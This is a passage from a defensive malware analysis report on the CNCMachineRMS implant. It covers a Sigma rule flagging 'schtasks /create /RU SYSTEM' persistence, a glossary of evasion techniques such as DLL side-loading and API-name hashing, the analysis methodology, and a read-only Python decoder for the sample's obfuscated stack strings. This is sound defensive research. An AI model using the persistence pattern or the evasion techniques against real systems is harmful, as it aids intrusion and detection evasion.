title: CNCMachineRMS Implant - SYSTEM Scheduled Task Creation
id: 1a6b9c07-5d82-4f30-9e14-7c3a8b52d6ef
status: experimental
description: >
  Detects the scheduled-task half of the same persistence pair, registered to
  run as SYSTEM.
references:
  - Technical Analysis section 6
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains|all:
      - '/create'
      - '/RU'
      - 'SYSTEM'
  condition: selection
falsepositives:
  - Legitimate administrative and software-installer task creation. Tune by
    parent process and by the task's target binary path.
level: medium

What these rules deliberately do not cover. No rule is offered for the top-level C2 command surface, because it is unenumerated (Assessment Limitations). No network-content rule is offered for the port-443 traffic, because whether it is TLS is unresolved (§11g) — a rule assuming either answer would fail silently against the other.

Glossary

BinExport / QBinDiff — tooling for function-level correspondence between two binaries; not used for a finding in this report.

C++/CLI mixed-mode assembly — a PE containing both native machine code and .NET CIL, importing mscoree. Its presence here is genuine, not a misidentification.

DoH (DNS-over-HTTPS) — DNS resolution tunnelled inside HTTPS to a web endpoint, invisible to local DNS logging and unaffected by DNS blocklists.

DLL search-order hijacking / side-loading — placing an attacker DLL where a legitimate application will load it in preference to the intended one, so attacker code runs inside a trusted, signed process.

FNV-1a hashing — a hash used here to resolve Windows API names at runtime so that no import table or plaintext API string reveals the malware’s capabilities.

LCG (linear congruential generator) — a simple pseudorandom sequence, s = s*A + C mod M, used here to key the stack-string obfuscation.

Rolling XOR — XOR where the key changes per byte position, so a decode starting at the wrong offset produces garbage rather than partially-correct data.

RWX memory — memory simultaneously readable, writable and executable; a common requirement for runtime-decrypted code and a common detection target.

Stack string — a string assembled at runtime by writing bytes or words onto the stack, leaving nothing for a strings pass to find.

ProgID — a registry identifier for a program associated with a file type or URL scheme; used here to enumerate installed browsers.

Appendix: Methodology

Tooling. The project’s standard pipeline (analyze.sh) was run over the three malicious PEs, producing per-artefact directories analysis_cncrms_{PkSql1,HTS25,usbraw}/ containing identity/hashing, rabin2 PE structure, rich-header and entropy detail, ASCII and wide strings, FLOSS, capa, ClamAV, IOC extraction, r2inspect, and Ghidra headless decompilation.

The two carrier files and the two derived payloads are not PEs and were handled outside the pipeline, in analysis_cncrms_payload/.

Decoders. Every transformation was re-implemented in Python from the sample’s own code and applied to bytes read from disk. Nothing was executed. The primary script written for this analysis is decode_strings.py, which the report’s string findings derive from — it recovers each site’s seed from its own movabs anchor rather than hardcoding one, and so decodes both stages despite their different keys (1,296 strings from stage 3, 103 from stage 2). It is reproduced in full in Appendix: String Decoder so those findings can be re-derived independently. A coarser earlier variant, decode_all.py, is superseded and is not reproduced (Corrections 45). Container decoding is recorded in status/cncrms/05_load_db_container.md.

Verification discipline. Automated output (capa, r2inspect, Ghidra) was treated as hypothesis-generating only. Claims reaching this report were verified against radare2 disassembly, run as r2 -q -e scr.color=0 -e asm.arch=x86 -e asm.bits=64 -c '<cmds>' <file>.

That discipline was applied as a distinct pass, not as a running habit, and the distinction turned out to matter. A late audit enumerated every numbered finding and marked those carrying no disassembly evidence; five of fifteen (§8, §10, §12, §13, §14) had none, and working those first produced four corrections (43–48). Three of the four were invisible to every prior audit because those passes compared report sections against each other — an internally consistent claim that was never checked against the bytes can only be caught by returning to the sample. A coverage audit was also what surfaced them: the five zero-evidence findings sit in the middle of the report and would not have been reached in a top-to-bottom read.

Negatives are stated with their extent. Where the report says something is absent, the claim names what was searched. Two recurring traps drove this. A struct offset searched at one operand width silently misses a write at another (Corrections 8). And under the Win64 ABI, an argument register set at a call site does not establish that the callee consumes it — reading the callee is what decides, which reversed this report’s account of how CP_INSTALLED reaches EnumSystemCodePagesW (Corrections 43). Import-reach negatives are walked transitively to a stated depth for the same reason: a function that does not itself call the loader APIs may reach them through a callee, so the depth and the edge types covered are given alongside the result (§14).

Third-party detection and external reporting. ClamAV (engine 1.5.3, daily 28099, 3,628,022 signatures, current as of 2026-08-22) returns 0 infected across all 23 files — the 21 bundle files plus both carved payloads. That is a meaningful negative rather than a stale one, bounded by its scope: a single open-source engine, not a multi-vendor verdict. Published indicators for this family were consulted only after the analysis was complete, and are reported as corroboration rather than input; they largely describe different builds and do not apply to this sample (see External Intelligence Corroboration).

Independent review. Parts of this analysis were checked against an independent agent working the same sample, on the standing principle that union beats consensus for recall-shaped work. The merge rule was grounding, never voting: a disputed value was kept if it was demonstrable in the sample bytes, regardless of which side produced it. That mattered in both directions — a peer’s converged “no C2” negative was correctly distrusted and later disproved (Corrections 19), a peer’s 21-branch dispatcher map was reproduced locally before adoption, and a peer retraction that did not reach the report is itself logged as a defect (Corrections 22).

The grounding gate, and why it fires here by design. Before this report was declared complete, its Indicators of Compromise section was run through cover_check.py, which flags every backticked value occurring nowhere in the sample bytes under any encoding the analysis legitimately produces. On this sample the gate flags most of the IOC section, and that is the correct result rather than a fault in either the gate or the report: essentially every string in stages 2 and 3 is an LCG stack string or settings-blob ciphertext, so the plaintext genuinely is not in the file. A flag therefore demands provenance, not deletion — each flagged value carries, inline, the offset and scheme it was decoded from, so a reader can reproduce it. The gate’s value on a sample of this kind is not the pass/fail verdict but the enforced requirement that no value appears without a stated derivation.

Detection content was validated, not merely drafted. The YARA and Sigma rules in Detection Opportunities were written against evidence already established in Technical Analysis, and the YARA rules were compiled and run against the 21-file bundle plus both carved payloads rather than inspected by eye — an uncompilable or non-matching rule is a defect that reading cannot reliably catch. Exactly three bundle files match, and all three are independently established as malicious. The one rule targeting process memory matches no file by design, which is why validation cannot be purely mechanical: its correctness is established by reading its intent, and an automated pass would score it as a failure. The section also records what is deliberately not covered and why, since an absent rule with a stated reason is usable intelligence whereas a silently missing one reads as an oversight.

Framework mapping is derived, not appended. The MITRE ATT&CK table admits a technique only where the report establishes it by disassembly, decoded script source, or decoded string evidence; capabilities inferred from imports alone, or adopted from third-party reporting on other builds of this family, are excluded even where they are probably true. Each row cites the Technical Analysis section that grounds it. This is why the table is shorter than a capa-driven mapping of the same sample would be.

Note on radare2 invocation. The architecture must be forced. HTS25.dll and PkSql1.dll import mscoree, and without -e asm.arch=x86 -e asm.bits=64 radare2 attempts to parse their native code as CIL and produces nonsense. The mscoree import is nonetheless genuine (§14) — the two facts are easily conflated.

Validation of the container decode. The load.db format was not accepted on plausibility. Three independent exact identities were required and met: magic == 1; a header field equal to the file size; and the sum of 1,128 record sizes equal to the data-region length exactly (delta 0). An offset that “looks right” was explicitly not treated as sufficient — see Corrections item 1.

Coverage accounting is instrumented, not asserted. An earlier version of this appendix argued that the (then negative) C2 result rested on enumeration rather than sampling: all 1,477 stack-string sites, all 1,128 container records, both unused carrier regions, full import tables. Every one of those counts was true, and the conclusion drawn from them was false — the enumeration covered the container while leaving the contents of one record unread (Corrections item 11).

The fix is mechanical rather than a resolution to be more careful. decode_strings.py records the byte ranges it actually examines via the optional coverage.py instrumentation, and every run prints to stderr the percentage of the file read plus an enumeration of uncovered spans. On load_db_stage3.bin the stack-string decoder reads 20.93% of the file (330,924 of 1,580,970 bytes); on payload_stage2.bin, 7.08% (24,122 of 340,803). The settings blob holding both C2 gates lies in a single uncovered span of 161,202 bytes (0x15a9f80x181faa) that the tool now names on sight.

The same accounting is what makes the two obfuscation schemes’ independence legible. LCG stack strings and the settings blob’s per-string XOR over UTF-16LE are different schemes, and a value absent from one decoder’s output is not thereby absent from the binary — the inference that produced this engagement’s one serious error. Both must be run before any exhaustion claim.

The general rule (§11d): a negative result must state its covered and uncovered regions in offsets. Where the tooling can enforce that by emitting the numbers, it does, because a rule that lives only in prose is skipped exactly when it matters. Reproduce with:

python3 decode_strings.py load_db_stage3.bin > /dev/null

— the hit list goes to stdout, the coverage report to stderr.

Appendix: String Decoder

Stage 2 and stage 3 store essentially all of their strings as LCG stack strings — built a UTF-16 word at a time by immediate stores, XORed against a keystream derived from a 64-bit seed. Almost nothing appears as literal bytes, which is why a grounding-gate run flags the report’s IOC section by construction (see the note opening Indicators of Compromise) and why a raw strings dump of either stage is close to empty of anything useful.

The script below is the one that produced those values. It is reproduced here so the report’s string findings can be independently re-derived from the sample rather than taken on trust — the same standard the disassembly evidence in Technical Analysis is held to.

It decodes only. The sample is read as data, the arithmetic below is applied, and the result is printed. Nothing in the sample is executed, and no evaluator (exec, eval, subprocess) is involved. That is the whole safety argument for publishing it: re-implementing a transformation is what makes a wrong hypothesis about it fail as a garbled decode instead of as execution.

The algorithm

Per string site, an anchor movabs r64, imm64 supplies the seed. For each subsequent 16-bit word w stored to the stack frame:

plaintext_word = w XOR ((2 * (state & 0xFFFF) + 0x11) & 0xFFFF)
state          = (state * 0x19660D + 0x3C6EF35F) mod 2**64

The words concatenate into a UTF-16LE buffer, NUL-terminated.

Why the seed is recovered rather than hardcoded

The two stages use different seeds with an identical algorithm — stage 2 0x7ba56675fa291565, stage 3 0x5621401945f4d0e8. One implementation, re-keyed per stage. A decoder anchored on one stage’s seed returns zero strings on the other and raises no error, which is a silent failure and is exactly how this analysis initially under-read stage 2 (Corrections 46).

Reading the seed from each anchor avoids that class of error entirely. Verified: this script recovers 1,296 strings from load_db_stage3.bin — the set every string finding in this report derives from — and 103 from payload_stage2.bin, a stage it was not tuned for, including all three AMSI indicators cited in §15 (amsi.dll @ 0x018505, BypassExceptionHandler @ 0x0221f2, fakeLib not equal 8 symbols @ 0x01802d).

What this decoder does not read

Output is not a survey of the file. The script is anchored on one instruction pattern and never examines bytes outside the neighbourhoods those anchors open — on load_db_stage3.bin it reads 20.93% of the file, leaving 1,250,046 bytes untouched. A string encoded by any other scheme lives in that 79% and produces no output.

Absence from this decoder’s output is therefore not evidence of absence from the sample. That inference, made once during this engagement, is the single serious error it recorded: the settings blob (§11) uses a different scheme — per-string single-byte XOR over UTF-16LE — and its C2 endpoints were briefly reported as absent on the strength of this decoder finding nothing. Both schemes must be run before any exhaustion claim.

The optional coverage.py instrumentation referenced in the source exists to keep that number on screen; it is accounting only, the decoder runs without it, and it is omitted here.

"""LCG stack-string decoder for CNCMachineRMS/BabaDeda stages 2 and 3.

Recovers the seed from each `movabs r64, imm64` anchor rather than hardcoding
it, so the same script works on both stages despite their different seeds
(stage 2 0x7ba56675fa291565, stage 3 0x5621401945f4d0e8). See
FINDINGS_REPORT.md Finding 7 for the algorithm and Corrections 46 for why
hardcoding a seed fails silently across stages.

This script DECODES ONLY. It reads the file as data, applies the arithmetic
below, and prints the result. Nothing in the sample is executed, and no
evaluator (exec/eval/subprocess) is used.

Usage:  python3 decode_strings.py <stage-payload.bin>
        stdout = "<offset>  <repr of decoded string>", one per line
        stderr = count, plus a coverage report if coverage.py is present

Coverage accounting is optional instrumentation; without coverage.py the
decoder is unaffected. Note what that instrumentation exists to say: this
decoder is anchored on one instruction pattern and never reads bytes outside
the neighbourhoods those anchors open, so absence from the output is NOT
evidence of absence from the file.
"""
import re,struct,sys

try:
    from coverage import Coverage       # local module; optional
except ImportError:                     # also catches the unrelated PyPI 'coverage'
    class Coverage:                     # no-op fallback: decoding is unaffected
        def __init__(self,*a,**k): pass
        def mark(self,*a,**k): pass
        def report(self,*a,**k): return None
M=(1<<64)-1
def lcg(s): return (s*0x19660D+0x3C6EF35F)&M
def decode(seed,words):
    out=[];s=seed
    for w in words:
        out.append(w^((2*(s&0xFFFF)+0x11)&0xFFFF)); s=lcg(s)
    return b''.join(struct.pack('<H',x) for x in out)

d=open(sys.argv[1],'rb').read()
cov=Coverage(len(d),label=f' -- LCG stack strings, {sys.argv[1]}')
res={}
# Pattern: movabs r64, imm64 (seed)  then a run of  mov eax, imm32 ; mov word [rsp+X], ax
mov_r64=re.compile(rb'[\x48\x49][\xb8-\xbf](.{8})',re.S)
for m in mov_r64.finditer(d):
    seed=struct.unpack('<Q',m.group(1))[0]
    pos=m.end()
    # skip the store of rax
    words=[]
    p=pos
    # allow a store instruction (mov [rsp+x],rax) 4-6 bytes
    mm=re.match(rb'\x48\x89(?:\x44\x24.|\x84\x24....)',d[p:p+8])
    if not mm: continue
    p+=mm.end()
    while True:
        w=re.match(rb'\xb8(.{4})\x66\x89(?:\x44\x24.|\x84\x24....)',d[p:p+16],re.S)
        if not w: break
        words.append(struct.unpack('<I',w.group(1))[0]&0xFFFF)
        p+=w.end()
    cov.mark(m.start(),p)
    if len(words)>=3:
        b=decode(seed,words)
        try:
            s=b.decode('utf-16le').rstrip('\x00')
        except Exception:
            continue
        if s and all(32<=ord(c)<0xFFFF or c in '\r\n\t' for c in s) and sum(1 for c in s if c.isprintable())>=len(s)*0.9:
            res[m.start()]=s
for off in sorted(res):
    print(f"{off:#08x}  {res[off]!r}")
print(f"--- {len(res)} strings ---",file=sys.stderr)
cov.report()

Reproducing

python3 decode_strings.py load_db_stage3.bin   # 1296 strings
python3 decode_strings.py payload_stage2.bin   #  103 strings

Standard library only — re and struct, no third-party dependencies. Output is <offset> <repr> per line on stdout, count on stderr. Offsets are into the carved stage payload, matching those cited throughout Technical Analysis and the IOC section.

A second, coarser decoder (decode_all.py) exists in the working set and is deliberately not reproduced here. It hardcodes the stage-3 seed and its looser inner walk corrupts one UTF-16 word in 434 of the 1,269 strings it returns — HKEY_CURR<junk>NT_USER for HKEY_CURRENT_USER. The corruption stays readable, so it survives an eyeball check and would silently break any detection rule derived from it (Corrections 45).